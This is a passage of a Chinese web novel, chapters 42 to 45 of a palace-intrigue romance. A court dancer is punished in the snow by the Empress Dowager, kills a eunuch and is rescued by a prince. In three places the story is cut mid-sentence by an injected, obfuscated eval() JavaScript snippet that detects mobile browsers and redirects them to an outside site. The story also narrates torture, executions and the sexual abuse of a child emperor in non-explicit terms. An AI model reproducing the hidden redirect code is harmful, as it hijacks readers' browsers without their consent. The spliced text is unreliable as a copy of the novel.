她话刚说完,太后身边的宫女银铃便指着她斥责道:“放肆!太后面前,竟自称‘我’,真是大逆不道!” 周怀淑抬手,制止了宫女,她脸上有笑意,似乎真的是在耐心教导奚瞳:“虹州穷山恶水,你恐怕不知宫里的规矩。本宫跟前,你须自称奴婢。” 奚瞳直直迎上周怀淑的目光,她认识这种目光,在长秦时,她的 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“等一下!”奚瞳用尽全力将阉人推开,她大口喘着粗气:“我自己来。” 奚瞳的声音郑重,颇有气势,阉人们一时被唬住了,忘了动作。 奚瞳稳了稳心绪,继而一件一件将自己的外衣脱下,脱到最后,只留轻薄的亵衣,隐隐约约可以见到里头穿着的小衣和裈裤。 朔风一阵阵透过布料的缝隙钻入她的身体,冷极了。 宫女银铃出言嘲讽:“到底是娼妓,衣服脱得倒熟练,娘娘,她这样喜欢勾引男子,您何故还给她留体面,脱光了才好。” 银铃便是先前替周怀淑前往太傅府送信的跑腿宫女,靠着将在太傅府的所见所闻禀报太后,顶了红盏的位子,在太后跟前伺候。 一旁的青璃听不下去,赶紧出言道:“太后娘娘自有主张,银铃,你僭越了。” 银铃瞪了青璃一眼,自打红盏出事后,青璃也有些不得宠了,如今她才是太后娘娘身边的红人,青璃不过就是靠着自己的资历才在这里摆架子。 但银铃嘴上仍是讨巧:“青璃姐姐说的是。奴婢也是为太后娘娘抱不平,娘娘,奴婢失言了,还请娘娘恕罪。” 周怀淑却对银铃很满意:“留她一件亵衣,不是给她体面。而是怕她的身子,脏了宫城的地。” 说完这句,周怀淑又看向奚瞳,声音变得温柔:“去吧,小伎子。去大朝晖殿门口,跳你喜欢的舞蹈。雪不停,你也不准停。” 奚瞳心下大沉,赵臻说过,这场雪会绵延许久,周怀淑这是没打算让她活着回去。 不过她久不回赵府,裴叔他们定然会察觉不对。所以只要挺过今晚,事情应当会有转机。 奚瞳,你好歹是做了仙女的人,你这副身子骨,可要争气啊。 奚瞳抬起莲步,准备朝大朝晖殿走。 走到门槛处,奚瞳回了头:“老天生就你这般冠绝天下的皮囊,真是可惜了。” 奚瞳走了,周怀淑却并不开怀,眸底一片阴鸷。 青璃忍不住劝说:“娘娘,奚瞳再如何下贱,也是太傅的人,待太傅大人回来,娘娘恐怕不好……” 青璃没说完,便被周怀淑掌掴:“你这是做够了本宫的人,想学红盏另谋高就了?这栖梧宫的掌事宫女你若不想做,有的是人做。” 青璃捂着火辣疼痛的脸颊,含泪应道:“奴婢知错。知错……” 43.第 43 章 昭阳王高澜今日进宫,是因为得了老太师付清的帖子。 付清是高澜的老师,也是他们这一代所有皇子的老师,包括陛下在内。他如今年纪大了,想要颐养天年,但跟赵臻提了许多次,赵臻都不放人。直到前阵子严家被诛了九族,近来朝中无甚大事,赵臻才终于点了头。 今日就是付清入宫辞别陛下,告老还乡的日子。 高澜出门,才发现天已落雪,地上白扑扑的一层。 他乘车辇到了宫门口,一路朝里走,远远看到大朝晖殿门口有个跳舞的白色身影。 他有些疑惑:“这么冷的天,怎么有姑娘在那儿跳舞?” 同他一道走着的侍从李斧却有话说:“不知道又是哪个存了野心的宫女,用小聪明把自己作践进去了。” 高澜拧眉:“怎么说?” 高澜两年前被赵臻威逼去了边地,但京中的昭阳王府还是得有人照顾,李斧就是高澜留在京城的人,替他打理京中产业。心腹程度及其个人能力自不必多说。 “王爷离京许久,京中有些事您不知道。”李斧叹息:“陛下虽年幼,但个性……同先帝如出一辙。六岁孩童,尚不知男女情事,却已知道如何折辱别人。听闻陛下平日喜欢骑大马的游戏,就是让姿容俊俏的年轻宫人脱光衣衫,在宫室爬行。陛下则骑在他们身上,手执皮鞭,抽打他们的身子。” 高澜闻言,默不作声,只咬肌渐渐收紧。 李斧接着道:“宫人们苦不堪言,但也有人做大马做得好,被陛下赏了金银财宝的。重赏之下,必有勇夫。久而久之,一些奴婢生了邪念,用尽手段讨陛下欢心。更有甚者,有些宫女宦官私下里教授陛下一些……一些成年男女才懂的淫/技。陛下小小年纪,身子还不成熟,可懂得会的已然足够多,有时候宫女惹陛下不高兴了,陛下便命令宦官折磨她们,已经有好几个宫女折了性命在这上头了……” 高澜的玉容生出愠怒:“陛下这般荒唐,没有人管吗?” “怎么不管啊,太傅为此不知杀了多少人。陛下寝殿的下人换了没有十批也有八批了,但陛下心性实在难改,换再多人也没有用。至于太后,对陛下更是溺爱。她只觉得是宫女们对陛下存了歹念,教陛下那些东西是想要勾引陛下,将来给陛下当妃子。所以太后每每发现哪个宫女同陛下亲密些,便将其赐死,手段不可谓不残忍。剁手跺脚,剜眼剜鼻,不在话下。方才那跳舞的婢子瞧着衣衫轻薄,怕是要冻毙于风雪了。” 高澜又回头看了那白色身影一眼,他总觉得有些熟悉,但也未作多想,只径直往宫中学监去了。 大盈宫学位于宫城西侧,高澜自记事起便在此处读书,共计二十余载,感情之深,不言而喻。 只不过宫学已同记忆里有大不相同,这里的楼阁依然高广,但威严却不复当年,朱红色的梁柱因为风雨的侵蚀生出斑驳的痕迹,屋檐之下的铜铎也在缝隙里填满了潮湿的绿锈,再也发不出什么响声。 高澜走进正殿,古稀之年的鹤发老者已经等候在棋案一侧了。 见高澜走进来,老者的脸上浮现惊喜的笑意,想要起身,却被高澜按住:“老师不必多礼。” 付清点点头,苦涩而笑:“灵机,再与为师手谈一局可好?” 高澜点头:“是。” 师徒两人一边对弈,一边聊天。 “你瞧这宫学,如今可真冷啊。我有时候会想起你小时候,你那是才……才两岁吧,小猴儿一般。旁的皇子都讨厌我、或惧怕我,唯独你,拽着我的长衫,就攀到我膝头上,一个劲儿问我,‘老师,这个字该怎么读啊,它是什么意思,有什么典故’,如今想来,就在昨天一般。可一眨眼,你已经长这么大了,而我更老了……老到已经可以嗅到黄泉地府的味道。” 付清说这些话,始终是眯眼笑着的,可高澜却有些哽咽:“老师……” 付清打断了他:“灵机不必伤怀,我于深宫之中,步步惊心,倥偬四十载,如今还能活着回乡,已然是绝顶的幸运了。” 高澜垂首,付清这句话,其实没有错。 他昔日是皇子,如今为亲王,但他知道,他的家族,是有问题的。 先帝高宇,妻妾无数,子嗣数以百计,但大都出生即夭亡,活到成年的只有十三人,七女六子,而如今活着的,仅有三个,越阳王高江,昭阳王高澜,还有当今陛下高澈。 其他人,均在壮年而死,死因是一样的——疯症。 高家的人,似乎血脉里就带着暴虐与嗜杀的基因,造孽无数,而后神志全无,不得善终。 所以付清才会这样说。 在这样一支血脉手下做事,能全身而退,确实幸运。 高澜不在这句话上多做纠结:“老师已然向陛下递了辞呈吗?陛下和太后都允了?” 高澜实在担心,周怀淑并不是好相与之人,他怕付清受什么难为。 付清却挥手一笑:“辞呈早就递了,只是允与不允,本就不在陛下太后。” 话音落下,高澜了然,付清说的那个能允他辞官的人,是赵臻。 付清这才敛了脸上笑意:“灵机,我今日见你,是不放心你。你是高家的人,同赵臻立场不同。为师一生尊崇儒家,信奉忠义,可到了自己最得意的门生身上,却只有私心。我实在不想你为了对家族的忠诚,枉费自己的性命,灵机,你明白吗?” 高澜垂眸,他怎么会不明白。 前几年,赵臻不放付清走,是因为陛下年幼,仍然需要有人教导。赵臻刚上位,便让在宫中教授皇子学业四十几年,同时也是当朝大儒、陛下老师的付清离宫,恐让天下人觉得他有不臣之心。 今时,陛下仍旧年幼,付清仍然是大盈举足轻重的文人领袖,可赵臻却突然松口了,还能因为什么呢? 因为赵臻已经不怕了,他在朝铲除世家、在野广施恩德,他已经做好了博弈的准备。他不再害怕天下人说他觊觎皇位,因为……他就是要做皇帝! 高澜还在默然。 付清继续道:“我这老朽,能活到今日,也多亏了赵臻照拂,那也是个有本事的孩子。我年纪大了,说话也便没什么顾及。灵机,我时常在想,若当年赵家未遭祸事,今日坐在龙座上的,或许是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13457788|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。而赵臻同你,也许会成就一段千古君臣的佳话。” “赵燊……是难得的诤臣,他们一家不该死的。”高澜也有遗憾。 当年赵家灭族之祸,表面上看是先帝高宇看上了臣子赵燊的妻子,求而不得,一怒之下灭其三族。但其实赵家的覆灭,是皇权和世家的共同选择。 赵燊作为当时的大司徒,执掌大盈财政,国力几何,他再清楚不过,故而每当高宇下达一个什么离谱政令,或者世家们贪贿谋私太过,均会遭到赵燊斥责。 经年下来,陛下对他怀恨,世家视他为眼中钉肉中刺。君夺臣妻,只是压死骆驼的最后一根稻草罢了。 陛下晚年多次议储,越阳王高江为先帝长子,又用钱财多方贿赂,本是太子的不二人选。满朝文武,只有赵燊坚持拥立高澜。 赵家三族被灭,以周家为首的世家清剿赵家九族时,高澜挺身而出,是报赵燊知遇之恩。 而世家势力大盛,赵臻重回中枢后,第一件是就是将高澜支走。这在天下人眼中,是赵臻的恩将仇报。可高澜却明白,那是赵臻对他的一种保护。 赵臻清楚,自己早晚会同世家、同高家有一场你死我活的厮杀,高澜作为高家唯一拿得出手的亲王,必定会被局势推到他的对立面。 赵臻不愿对他痛下杀手,故而才将他“放逐”。 “灵机。”付清最后说道:“为师只是希望你记住。高家若是覆灭,不是你的无能或错误,而是历史的选择、天下人的选择,这种选择甚至早在你和赵臻出生之前,就已经有了。” 高澜辞别老师,想去看看陛下,这个他年龄最小的弟弟。 走到陛下寝宫时,远远的,高澜便闻到浓郁的酒味,他说明来意,宫人道陛下已然午睡,不便见昭阳王。 高澜转身离开,回首看向陛下寝宫,满目苍冷。 高澈才六岁,本是启蒙的年纪,却不思读书,饮酒作乐,辱杀宫婢,高家……真的要完了。 高澜朝宫外走着,地上积雪比先前厚了许多,已经没过鞋底,天色也黯下来,宫中已经有内侍奔走掌灯。 再次路过大朝晖殿,那个纤细的身影仍旧在跳着舞。 一阵晚风吹来,那个身影被吹起一头青丝,如鬼如魅,这一幕似曾相识,高澜心头一滞,有些迈不动步子。 “王爷,您瞧,周大人。” 高澜朝李斧所说的方向望去,只见黄门侍郎周潮满脸焦躁,顾不得雪天路滑,三步并作两步跑着,甚至顾不得身后侍从已经摔倒。 高澜微微眯起眼睛,周潮去的方向,是太后的栖梧宫……他为何这般着急…… “这周大人也是命好。”李斧不经意说道:“在家里受尽欺侮,却得了太傅大人青眼。” 赵臻、周潮、太后、舞女……方才那一头舞动的青丝…… 一道白光猝然闪过高澜脑海,他回身疾步奔向大朝晖殿。 “王爷您去哪啊?!” 李斧在身后不解追问。高澜却越跑越快。 那根本不是什么犯了宫禁的宫女,大朝晖殿那个跳舞的女子,是奚瞳。 44.第 44 章 大朝晖殿位于高台之上,殿前空旷,除了两尊硕大的盘龙柱巍然伫立,再也没有其他,奚瞳在殿前随意地舞动着,偶尔转身,便能看到柱子上两条龙的眼睛盯着她。 奚瞳心中气闷,看什么看?没看过美女跳舞? 虽是生气,但毕竟活了五百年,奚瞳也是见惯了人心诡谲,正事因为见得多了,她此时竟有些庆幸起来,幸好周怀淑只让她跳舞,没有对她的舞姿提出要求,这便让这道刑罚简单了很多,也让她得了一些时间思考对策。 她此番下界,被禁了仙术,但修道五百年的身法还在,同一些宵小打斗应不在话下。 此时盯着她“受刑”的是一个身形肥硕的宦官,哪怕用蛮力不行,靠巧劲儿应当也能制服此人。 可奚瞳依旧迟迟没有动作。她若公然逃脱太后的责罚,便是大逆之罪,其罪当诛。最重要的是,她是赵臻的人,赵臻本就因杀戮太重被四方文人口诛笔伐,若她这桩事闹大了,恐怕会让赵臻身上的唾沫星子再多几层,唾沫多了,是会淹死人的。 奚瞳内心祈祷,天帝啊等我回去了一定好好给您老人家办差,您可得保佑裴叔紫虚小六子他们尽快给我搬救兵啊…… 奚瞳这般想着,身体的状况却不容乐观。她只着一层薄衫,如今朔雪纷飞,天寒至极,身体舞动着,反倒生了些热,起初并不难熬。然则随着时间的流逝,运动带来的热量已经不足以支撑她与冬日漫长的博弈,她的脸颊和身体渐渐生出了干裂麻痒之感。 奚瞳看一眼周围,整个宫城都被大雪笼罩,空旷、苍茫,望不到头。因为大雪,大臣们今日不上朝,大朝晖殿周围的宫人也很少,她期待的救兵迟迟没有动静。 所以……等不到了吗…… 蓦地,她的余光瞥见远远两个身影,一个身着白色朝服,急匆匆朝栖梧宫方向行去;另一个则穿雾蓝色貂裘,伫立在朝晖殿西头,似是观望着什么。 她双眸微凛,时机已到,奚瞳借着舞姿里抬手的动作,摸了摸发髻上的铃兰簪子,想不到,五百年前赵臻送她的礼物,至今仍在护她周全。 她用最后一次旋转抬臂将铃兰发簪握在了手里,继而停下来,直直望向一旁正在打盹的胖宦官。 宦官瞌睡中间抬了一眼,见奚瞳停了,立时清醒,用尖细的声音怒斥道:“小贱人,谁教你停的?太后的话你听不明白吗?雪不停,你也不许停。接着跳!否则我扒了你的皮!” 奚瞳没有动作,只握紧簪子,一步步靠近他。 “你做什么?你还要谋害本官不成?!” “真难听。”因为冷,奚瞳的声音沙哑低沉。 “你说什么?” “我说你说话的声音真难听。”奚瞳道:“宦官明明可以是很好的人,名声都被你们这些人糟践了。” 奚瞳本身皮肤就白,此刻的脸颊冻得发青,那宦官只一只青鬼阴森森地朝自己走过来。 他赶忙开口疾呼:“来人呐……” 可话刚说出口,奚瞳一记扫堂腿便让他倒在了地上。 “哎哟”一声过后,宦官紧接着又失声尖叫起来“啊!我的腿!我的腿啊啊啊!” 原是奚瞳用簪子生生挑断了他的脚筋。 奚瞳还是高估了自己的体力,他爷爷的,奚瞳心中暗骂自己,太白金星当时说要偷偷给自己渡一缕仙术,她怎么就脑子抽抽拒绝了呢…… 奚瞳一番动作下来,已经气喘吁吁,每呼吸一口,都觉得冷彻肺腑,胸腔里全是疼。 她艰难地起身,想要走,却被已经躺在地上的宦官伸手掣住了小腿。 那宦官疼得满头大汗,可手上的力道却大得出奇,奚瞳踹了他好几次,他都死死拽着她,毫无放手之意。 奚瞳成仙五百年,心海风平,已经许久没有出现过如此杀意。 她回头横眉俯视宦官:“放手!否则我杀了你!” “小娼妇!你居然敢伤我?!你可知我是谁的人?!”那宦官咬牙发狠:“你以为你爬了太傅的床,便觉得自己是个人物了。你可知道,那赵臻也是要靠爬咱们太后娘娘的床,才能堂堂正正做人的!自己的主子都是龟公,你还妄想攀什么高枝?” 宦官说到这里,明显感到奚瞳不再挣扎,再一抬眼,看到款步而来的昭阳王,便求救道:“王爷,这罪奴伤了奴婢,想要逃跑,求王爷……” 宦官还没说完,他只觉自己的脖子一刹锐痛,他抬手摸去,温热黏腻的鲜血从他脖子上的血窟窿汩汩流出,他张了张嘴,喉头也不可抑制地涌上腥甜。 “你是什么东西?!也配议论赵臻?!”奚瞳眸色如冰。 宦官不可置信地望向奚瞳:“你……小……贱人……周……大人……不会放……过……” 血液极速地带走了宦官的温度,他话不成句,直直倒了下去。 高澜望着眼前的一幕,也是震惶。 他万万想不到奚瞳这样一个弱女子敢在宫城里公然杀人,杀的还是太后身边的人。 此时听到宦官呼喊的宫人和侍卫也纷纷涌到此处。 他们看一眼躺在血泊里的宦官,又看一眼手上裙裾上皆是血迹的奚瞳,便什么都明白了。 侍卫知道他们应当立时拿下奚瞳,可昭阳王在此,他们亦不敢妄动。 奚瞳摇摇欲坠走向高澜。 “王爷!”李斧提醒出声,并欲挡在高澜身前,可被高澜轻轻推开。 奚瞳走近后,高澜下意识地伸出双手,下一刻,奚瞳便倒进了他的怀里。 “云序……”高澜听到怀里的女子喑哑开口:“帮我把簪子上的血擦干净,别脏了……他……” 说完,她便昏了过去。 高澜脱下自己的狐裘,紧紧裹到奚瞳身上,将她交给李斧:“带回王府。” “可是太后……” “我自会去跟太后解释。” …… 高澜走到栖梧宫的时候,地上已经散落一地碎瓷。 周怀淑红着一双眼睛坐在红木椅子上,奴婢们跪了一地,周潮则肃然站着。 见高澜来了,周怀淑想起中秋夜宴上,高澜与扮作男装的奚瞳相处的种种,语气不善:“今日吹了什么风,昭阳王竟也来了本宫这里,不会也要为那伎子求情吧。” 高澜眉目微凛:“奚瞳我已命人带回昭阳王府。” 周怀淑闻言拍了桌子:“昭阳王这是什么意思?!奚瞳是本宫下令责罚之人,昭阳王擅自将其带走,是要谋反吗?!” “太后娘娘!” 周潮出言喝止周怀淑,高澜在朝野内外都颇具贤名,就连赵臻都不敢妄动他,周怀淑若是同他作对,只能是自寻死路。 “敢问太后,奚瞳所犯何罪?”高澜问道。 “魅惑大臣,扰乱朝政,难道不该死吗?!”周怀淑的眼睛里有浓得化不开的恨。 “她魅惑了谁?朝政又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13488730|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱在了哪里?” 高澜接连发问,周怀淑却无话可答。于公,赵臻并没有因为奚瞳怠于朝政;于私,她若承认奚瞳魅惑了赵臻,便就是承认了自己十年痴心,输给了一个伎子,她如何甘心?! 高澜见周怀淑默然,只得叹息:“怀淑,你年少时,也是明艳活泼的姑娘,怎么就变成了今天这幅样子……” 高澜行礼,转身离去。 周怀淑落下泪来,心中喃喃,是啊,她也曾是大盈冠绝第一流的女子,如今怎么会变成这样。 周潮走到她跟前,半跪在她膝前,他抬手拭去她脸上的珠泪,这次,周怀淑没有躲。 她眼神迷离,似是在往事的回忆里有些痴了,半晌,她转头看向周潮:“你可知我这些年,是怎么过的吗?” 周潮点头:“阿姐,我知道,我都知道……” 周潮迷恋周怀淑已久,做了黄门侍郎,可问宫中事,于是他便发了疯地寻找内庭里关于周怀淑的痕迹。 除了太后的起居注,对周怀淑所记最多的,便是先帝起居注里,她做妃子时侍寝的种种。 那些记录极其简单,“栖梧宫,铁索滴烛,至五更”;“栖梧宫,春凳群嬉,彻夜天明”……诸如此类,足有七年。哪怕周怀淑身怀六甲之时,境遇也未能改变多少。这背后蕴含了高宇多少暴虐、又蕴含了她多少屈辱,只有她自己知道。 每每读到这样的句子,周潮的心里便涌上对周怀淑无限的心疼以及变态的淫/欲,他时常恨自己不能挽救当时的她于水火;又时时幻想床笫之上,对她施加酷刑与她无休止欢好的不是那个衰老昏庸的高宇,而是年轻力壮的自己。 周怀淑是周潮的终极梦想,他所有的欲望与贪婪都因对她的迷恋而生。 此刻周潮抚摸着周怀淑被泪水浸湿的脸颊,内心生出别样的满足。 对,就是这样,他会一步一步,攻略、得到这个美丽而骄傲的女人。 她这些年被自己的贪婪驱使,又被宫城里的权利啃噬,她早就不是一个完整的人了,她是一头被驯化、被折磨、又被抛弃的野兽。权欲将她兽化到了极致,她的灵魂也就脆弱到了极致。 周潮要做的,就是一点一点触摸她灵魂的裂隙,让她的灵魂一点一点碎在他的怀里,与他紧密地粘连,生生世世,永不分离。 “阿姐,今天你累了,去好好睡一觉,潮儿就在外头守着你。”周潮温柔道。 周怀淑讷讷回了内殿,周潮这才换了一副罗刹面容,俯视着跪在地上的宫人们。 “听闻太后娘娘此番盛怒,是因为有人将太傅大人的行迹禀报给了太后。是谁啊,抬头让我瞧瞧?” 满宫寂静,银铃战战兢兢地抬了头:“大人,是……是奴婢,可是奴婢一心都是为了太后娘娘……奴婢……” “我知道。”周潮打断了她:“你是个忠仆。该赏。” 说罢,周潮解下了自己的钱袋子,丢到了银铃身前。 银铃大喜,彻底放了心,一个劲儿磕头道谢表忠心:“多谢大人,奴婢以后一定尽心竭力伺候娘娘,不负娘娘和大人的信任!” “呵。”周潮轻笑一声:“行了,去吧,拿着赏钱,买点自己喜欢的,吃点自己想吃的。” 银铃兴高采烈退了出去,奴婢们也陆陆续续去忙自己的活儿,青璃偷偷看了周潮一眼,不由在心里讥讽起银铃,真是个蠢蛋,那钱袋子,哪里是赏她的,怕是要买她的命。 45.第 45 章 雪越下越大,照夜如昼,毫无停歇之意。 昭阳王府暖阁中,郎中正给一个女子把脉,一只枯手搭在纤细的腕子上许久,脸色越发凝重起来。 高澜请的是京中名医,见他这副表情,不由担忧:“医士,如何?” 郎中沉吟片刻,将手收了回来:“老朽从未触过这种脉象,里头像是有两股力量相互冲撞,病势莫测。” “可有对策?” “只能先针对表征下药了。”郎中拿出纸笔,记下方子:“王爷,按这方子,一日两次,给这姑娘吃着。她如今发着高热,但四肢厥冷,不是好兆头。身子的温度恐怕还会升高,若一直高烧不退,昏迷难醒,病势入了脑子,便就无力回天了。今明两日,须得让她四肢回暖,再将体内的热都发出来才好。” 高澜点头。 送走了郎中,高澜命人准备了几个汤婆子,分别放到奚瞳手脚旁边,过一炷香,高澜走过去,用指背触一触奚瞳的手,还是冷得像冰一样。高澜不禁皱眉。 婢女此时端进一碗药,是刚熬的:“王爷,奴婢来给奚姑娘喂药。” “云序……别……”床榻上的奚瞳发出梦呓。 高澜盯着她,云序……在大朝晖殿的时候,她好像也管自己叫云序……云序是谁…… 高澜接过婢女手上的药碗:“你先下去。” 婢女不敢多言,退了出去。 高澜坐到床榻上,将奚瞳的上半身抬起来,让她靠在自己怀里,他则端着药碗,用勺子一口一口将药喂给奚瞳。 还好,奚瞳对汤药不算抗拒,虽有一些溢出了唇角,但大多还是咽下去了。 高澜抬起手,替她擦去脸上的药渍,却被她伸手一把抓住了袖子。 “云序,别恨赵臻,赵臻他……心里很苦……很苦。” 高澜心中一片空洞,他想起中秋夜宴上,那个用一曲《登临》让他挂心不已的姑娘,在重病迷离之时,满心想的,只有赵臻。 赵臻…… 高澜有时觉得,命运让他和赵臻生于同一个时代,实在是错了。 他们年少时也曾有过“公子成双”的美名,但终究,他的父亲灭了赵臻全族,赵臻则要从他高氏男儿手里,夺走江山和皇权。 他和赵臻都努力过。他曾努力保全赵臻的家人,赵臻也曾试图用放逐让他远离京城的杀戮。 但他们都失败了。 赵臻要报赵氏一族的血海深仇,而他,生而姓高,注定要守护高家最后的荣耀。 在世间这片苍茫苦海里,赵臻孤身奋战,他亦是。高澜清楚,他们最终,只有一人能渡到彼岸。 高澜垂眸,看着怀里的小丫头。 在大朝晖殿时,他看得清楚,那宦官本不必死的,是他出言辱骂赵臻之后,奚瞳才生了狠意,了结了他的性命。 高澜虽被奚瞳吸引,对她有所好奇,但若论倾心,尚谈不上,可那一刻,他真的有些嫉妒赵臻。 当今乱世,再多的诗赋、再多的清谈,都只是文人墨客对自己的粉饰,终日屠刀悬颈时,哪还有什么道德可言。如今君不君,臣不臣,父不父,子不子……忠义、孝廉在大多时候,都是世人为了获取利益而做出的表演。 但高澜却在奚瞳身上看到了最为纯粹的情感。她身份卑微,却敢为了赵臻于宫城之中杀人,不计后果。 这样明目张胆的维护与偏袒,高澜一生从未尝过。 奚瞳睡得并不安稳,长而卷的睫毛随着眼睑的震动一颤一颤的。 高澜微微叹了一口气:“就那么喜欢赵臻吗?” 奚瞳眉头蹙了蹙,似是没听懂这个问题,只喃喃道:“冷……好冷……赵臻,我好冷。” 高澜将奚瞳抱得紧了些,迟疑片刻之后,他握住了奚瞳冰凉的手,温柔地揉搓着。 就这样过了许久,奚瞳的双手终于生出些暖意,额头上也有了细密的汗珠。 高澜见她这般,心中的石头多少放下一些。他有些困倦,本应回卧房休息,可他瞧一眼放在自己手心里的奚瞳的葇荑,不由生出了贪念。 若她这份真心,给的是他就好了…… 高澜终究没有走。 “赵臻心里苦,可世道多艰,不是只有他苦。”高澜在奚瞳耳边轻轻说道:“他日我同赵臻兵戎相见,奚瞳,你还会记得中秋夜宴上与你初见的昭阳王吗?” 高澜的嘴角弯起苦涩的弧度,就这样抱着奚瞳,倚着床梁,沉沉睡去。 …… 赵臻从天幕山赶回京城,是第二天下午。收到传书时,他正在山腰长亭里舌战群儒。 看过书信内容,他当即离席,不顾身后那些老头儿的横眉怒骂,策马冒雪赶回来的。 赵臻来到昭阳王府暖阁,见到的便是高澜正在给沉睡中的奚瞳喂药。 赵臻双眸寒彻,高澜却依旧平静:“烧已经退了,但人还没醒,不过不必担心,郎中一早便来看过,没有性命之忧。” “既如此。多谢昭阳王对奚瞳的照拂,我的人,还是回我府上才对。”赵臻咬牙道。 高澜将最后一勺汤药喂到奚瞳口中,这才起身,含笑看向赵臻,但语气里带了几分逗弄、甚至挑衅:“你我之间,不必客气。更何况,我和奚瞳也算认识,中秋夜宴,算得上结发之缘。” 听闻“结发之缘”四字,赵臻的双眼燃起火来,又是这四个字!奚瞳到底同他有什么过往?! “王爷言重了,不过是几根头发而已,落到地上,也不过尘埃一缕,哪里称得上缘分?” 赵臻上前一步,大衡将奚瞳抱起,准备回府。 走到廊下,十三撑起油纸伞,为二人遮雪。 “赵臻。”高澜蓦地开口:“我不走了,我会留在京城。” 赵臻的脚步随之一顿,半晌,他道:“随你。” …… 赵臻一路上已经将宫中发生的事探听了清楚。是他疏忽,没想到周怀淑能将手伸到太傅府,也没给奚瞳留一些护着她的人手。 他怀揣着三分歉意,七分担心来接奚瞳,可高澜一句“结发之缘”,让他只剩下醋意。 他盯着怀中的小人儿,心道,待你醒了,我要好好想想如何罚你。 可当奚瞳真的醒了,赵臻便将此时的打算忘了个干干净净。 奚瞳沉睡两日,赵臻衣不解带,守在她身边,喂药,热敷,亲力亲为。 有许多次,他离她很近,近到能听到她的心跳,触及她的鼻息。 他几番想要偷偷吻上去,可终究还是收了手。 “你究竟是哪里来的妖女,给我下了什么蛊……” 赵臻没有得到回答,他只能认命地在她身边守着她。 “赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13509715|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臻……” 是夜,床榻上的小人儿发出有些虚弱的声音 正在看书的赵臻将手中书册放到一边,他看向奚瞳,奚瞳也正专注而平静地凝视着他。 “你……” “赵臻,你不要喜欢周怀淑。” “什么?”赵臻没想到,奚瞳初初醒来,对他说的第一句话竟是这个,他胸中漾起几点涟漪。 奚瞳却是认真的:“她很美,但不善良,同你不相配。” 赵臻默然,伸手替她掖了掖被角:“怎得又提起这桩事?” 奚瞳的眼神在虚弱里透出些冷意:“我是个记仇的人。这次我叫她欺负了,是我没有准备,技不如人,我认了。但再有下次,我不会手软。任凭她是你的心肝宝贝都不行。” 赵臻脸上浮现一丝笑意:“醋了?” 奚瞳恨恨看了赵臻一眼:“我还在气头上,你少惹我。” “要是让宫里那帮蠢货看到你在太傅府这般作威作福,借他们十个胆子也不敢动你。”赵臻安抚道:“饿不饿,要不要起来吃点粥?” 奚瞳看看窗外的夜色,恹恹道:“没胃口,我还是困。明天再吃吧。” 奚瞳这两天除了苦药,也喝了参汤,赵臻还将师门灵药百岁丹喂给了她,少这一顿粥倒也不打紧。他吹灭了蜡烛,安排了人手守着奚瞳。 走出厢房,赵臻看着天地间还在窸窸窣窣飘着的小雪,眼底浮现狠戾,是啊,究竟是谁借给他们的胆子,敢动他赵臻的人?! …… 三更,宫门大开,太傅府的马匹驶入宫城。 栖梧宫的奴婢被疾驰的马蹄声惊醒,来不及梳洗,匆忙穿衣,聚集到正殿之中。 主座上坐着的是未施粉黛神情灰败的太后,一旁站着的是黄门侍郎周潮。 “娘娘,这是太傅大人的手书,您看一眼。”周潮轻声道。 周怀淑双眸聚泪,瞥了一眼赵臻的笔迹,只有一个“杀”字。 他这是要为那小贱人报仇了,周怀淑将周潮拿着书信的双手狠狠推开。 周潮有些无奈地摇了摇头,继而便朝宫人们走了半步。 “银铃。”他唤:“你入殿伺候太后之前,是栖梧宫黄梅园的侍花,是吗?” 银铃有些茫然,只答道:“是。” “今年的黄梅瘦弱,开得不好,这黄梅园缺了你,还是不行。” 银铃以为周潮要贬自己的职,让她重回院子里,她跪下来,刚要求情,又听周潮说道:“来人啊,银铃身为女婢,却于太后与太傅之间蓄意挑拨,其行大逆,其心可诛,赏饲花之刑。” 银铃云山雾罩:“什么是饲花……” 银铃年轻,贴身伺候太后前,是低阶宫婢,不知这道刑罚。 饲花之刑是先帝高宇为一个妃子创造的。高宇晚年荒淫无度,后宫里有一位资历颇深的妃子,多次出言劝谏,高宇最终动怒,赏了她这道饲花之刑。 所谓饲花,就是将人活埋在花丛之中,成为花的养料,有了血肉的滋养,来年这片花地便会开得缤纷旺盛。高宇借这道刑罚来讽刺那位敢于直言的妃子,说她这样年老色衰的残花,不愿好好活着,那就化作春泥。 银铃瘫倒在地。 周潮则拍了拍青璃的肩膀:“你,监刑。” 青璃闭上眼睛,垂首道一句:“是。” 46.第 46 章 